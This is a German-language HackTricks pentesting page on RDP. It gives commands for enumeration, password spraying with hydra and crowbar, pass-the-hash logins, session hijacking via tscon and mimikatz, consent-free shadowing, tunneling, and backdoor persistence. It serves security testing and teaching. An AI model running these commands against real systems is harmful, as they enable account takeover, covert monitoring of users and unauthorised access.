3389 - Pentesting RDP
Tip
Lerne & übe AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Lerne & übe GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Lerne & übe Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Durchsuche den vollständigen HackTricks Training-Katalog nach den Assessment-Tracks (ARTA/GRTA/AzRTA) und Linux Hacking Expert (LHE).
Support HackTricks
- Sieh dir die subscription plans an!
- Tritt der 💬 Discord group, der telegram group bei, folge @hacktricks_live auf X/Twitter, oder schau dir die LinkedIn page und den YouTube channel an.
- Teile hacking tricks, indem du PRs in die HackTricks und HackTricks Cloud github repos einreichst.
Grundlegende Informationen
Entwickelt von Microsoft ist das Remote Desktop Protocol (RDP) so konzipiert, eine grafische Benutzeroberflächenverbindung zwischen Computern über ein Netzwerk herzustellen. Um eine solche Verbindung aufzubauen, verwendet der Benutzer RDP-Client-Software, und der entfernte Computer muss gleichzeitig RDP-Server-Software ausführen. Diese Konfiguration ermöglicht die nahtlose Steuerung und den Zugriff auf die Desktop-Umgebung eines entfernten Computers und bringt dessen Oberfläche praktisch auf das lokale Gerät des Benutzers.
Standardport: 3389
PORT STATE SERVICE
3389/tcp open ms-wbt-server
Enumeration
Automatisch
nmap --script "rdp-enum-encryption or rdp-vuln-ms12-020 or rdp-ntlm-info" -p 3389 -T4 <IP>
Es prüft die verfügbaren Verschlüsselungsoptionen und DoS-Anfälligkeit (ohne einen DoS gegen den Dienst auszulösen) und ermittelt NTLM Windows-Informationen (Versionen).
Sicherheitsschicht / NLA-Überprüfungen
RDP kann verschiedene Sicherheitsschichten aushandeln (native RDP, TLS oder CredSSP/NLA). Sie können schnell die serverseitigen Einstellungen fingerprinten und feststellen, ob NLA erforderlich ist:
# Security layer and encryption info
nmap --script rdp-enum-encryption -p 3389 <IP>
# Quick auth check (also reports if NLA is required)
nxc rdp <IP> -u <user> -p <password>
# Pre-auth screenshot only works if NLA is disabled
nxc rdp <IP> --nla-screenshot
# Authenticated screenshot after valid login
nxc rdp <IP> -u <user> -p <password> --screenshot
Brute force
Sei vorsichtig — du könntest Konten sperren
Password Spraying
Sei vorsichtig — du könntest Konten sperren
# https://github.com/galkan/crowbar
crowbar -b rdp -s 192.168.220.142/32 -U users.txt -c 'password123'
# hydra
hydra -L usernames.txt -p 'password123' 192.168.2.143 rdp
Mit bekannten Anmeldedaten/Hash verbinden
rdesktop -u <username> <IP>
rdesktop -d <domain> -u <username> -p <password> <IP>
xfreerdp [/d:domain] /u:<username> /p:<password> /v:<IP>
xfreerdp [/d:domain] /u:<username> /pth:<hash> /v:<IP> #Pass the hash
Bekannte credentials gegen RDP-Services prüfen
rdp_check.py von impacket ermöglicht es, zu prüfen, ob bestimmte credentials für einen RDP-Service gültig sind:
rdp_check <domain>/<name>:<password>@<IP>
Angriffe
Session stealing
Mit SYSTEM permissions können Sie auf jede geöffnete RDP-Session eines beliebigen Benutzers zugreifen, ohne das Passwort des Besitzers zu kennen.
Geöffnete Sessions abrufen:
query user
Zugriff auf die ausgewählte Sitzung
tscon <ID> /dest:<SESSIONNAME>
Nun befindest du dich in der ausgewählten RDP-Sitzung und wirst dich ausschließlich mit Windows-Tools und -Funktionen als ein Benutzer ausgeben.
Important: Wenn du auf eine aktive RDP-Sitzung zugreifst, wirst du den Benutzer, der sie gerade nutzt, abmelden.
Du könntest Passwörter durch process dumping aus Prozessen bekommen, aber diese Methode ist viel schneller und erlaubt dir, mit den virtual desktops des Benutzers zu interagieren (Passwörter in notepad, ohne auf der Festplatte gespeichert worden zu sein; andere RDP-Sitzungen, die auf anderen Maschinen geöffnet sind…)
Mimikatz
Du könntest auch mimikatz dafür verwenden:
ts::sessions #Get sessions
ts::remote /id:2 #Connect to the session
RDP Shadowing (Remote Control)
Wenn Remote Desktop Services shadowing aktiviert ist, können Sie mit den eingebauten mstsc-Schaltern die aktive Sitzung eines anderen Benutzers ansehen oder steuern (manchmal ohne Zustimmung).
# List sessions on a remote host
qwinsta /server:<IP>
quser /server:<IP>
# Shadow a specific session (consent required if policy enforces it)
mstsc /v:<IP> /shadow:<SESSION_ID> /control
# Shadow without consent if policy allows it
mstsc /v:<IP> /shadow:<SESSION_ID> /noconsentprompt /prompt
# Check current shadowing policy on the target
reg query "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v Shadow
RDP Virtual Channel Tunneling
RDP unterstützt virtual channels, die für pivoting/tunneling über eine etablierte RDP-Sitzung missbraucht werden können. Eine Option ist rdp2tcp (client/server), das TCP-Forwarding über RDP multiplexen kann (funktioniert mit FreeRDP).
# Start FreeRDP with rdp2tcp virtual channel
xfreerdp /u:<user> /v:<IP> /rdp2tcp:/path/to/rdp2tcp/client/rdp2tcp
Sticky-keys & Utilman
Kombiniert man diese Technik mit stickykeys oder utilman, kannst du jederzeit auf eine administrative CMD und jede RDP session zugreifen.
Du kannst nach RDPs suchen, die bereits mit einer dieser Techniken backdoored wurden, mit: https://github.com/linuz/Sticky-Keys-Slayer
RDP Process Injection
Wenn sich jemand aus einer anderen Domain oder mit höheren Privilegien via RDP einloggt auf dem PC, auf dem du Admin bist, kannst du dein beacon in seinen RDP session process inject und als er agieren:
Benutzer zur RDP-Gruppe hinzufügen
net localgroup "Remote Desktop Users" UserLoginName /add
Automatische Tools
AutoRDPwn ist ein post-exploitation Framework, erstellt in Powershell, das hauptsächlich dazu entwickelt wurde, den Shadow attack auf Microsoft Windows computers zu automatisieren. Diese Schwachstelle (von Microsoft als Feature gelistet) erlaubt einem entfernten Angreifer, den Desktop seines Opfers ohne dessen Zustimmung einzusehen und ihn auf Abruf zu steuern, wobei Werkzeuge verwendet werden, die nativ im Betriebssystem vorhanden sind.
-
Maus und Tastatur automatisiert über die Kommandozeile steuern
-
Zwischenablage automatisiert über die Kommandozeile steuern
-
Einen SOCKS-Proxy vom Client aus starten, der Netzwerkverkehr über RDP zum Ziel kanalisiert
-
Beliebige SHELL- und PowerShell-Befehle auf dem Ziel ausführen, ohne Dateien hochzuladen
-
Dateien zum/vom Ziel hoch- und herunterladen, selbst wenn Dateiübertragungen auf dem Ziel deaktiviert sind
Dieses Tool ermöglicht das Ausführen von Befehlen in der RDP-Sitzung des Opfers, ohne eine grafische Oberfläche zu benötigen.
HackTricks Automatische Befehle
Protocol_Name: RDP #Protocol Abbreviation if there is one.
Port_Number: 3389 #Comma separated if there is more than one.
Protocol_Description: Remote Desktop Protocol #Protocol Abbreviation Spelled out
Entry_1:
Name: Notes
Description: Notes for RDP
Note: |
Developed by Microsoft, the Remote Desktop Protocol (RDP) is designed to enable a graphical interface connection between computers over a network. To establish such a connection, RDP client software is utilized by the user, and concurrently, the remote computer is required to operate RDP server software. This setup allows for the seamless control and access of a distant computer's desktop environment, essentially bringing its interface to the user's local device.
https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-rdp.html
Entry_2:
Name: Nmap
Description: Nmap with RDP Scripts
Command: nmap --script "rdp-enum-encryption or rdp-vuln-ms12-020 or rdp-ntlm-info" -p 3389 -T4 {IP}
Referenzen
Tip
Lerne & übe AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Lerne & übe GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Lerne & übe Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Durchsuche den vollständigen HackTricks Training-Katalog nach den Assessment-Tracks (ARTA/GRTA/AzRTA) und Linux Hacking Expert (LHE).
Support HackTricks
- Sieh dir die subscription plans an!
- Tritt der 💬 Discord group, der telegram group bei, folge @hacktricks_live auf X/Twitter, oder schau dir die LinkedIn page und den YouTube channel an.
- Teile hacking tricks, indem du PRs in die HackTricks und HackTricks Cloud github repos einreichst.


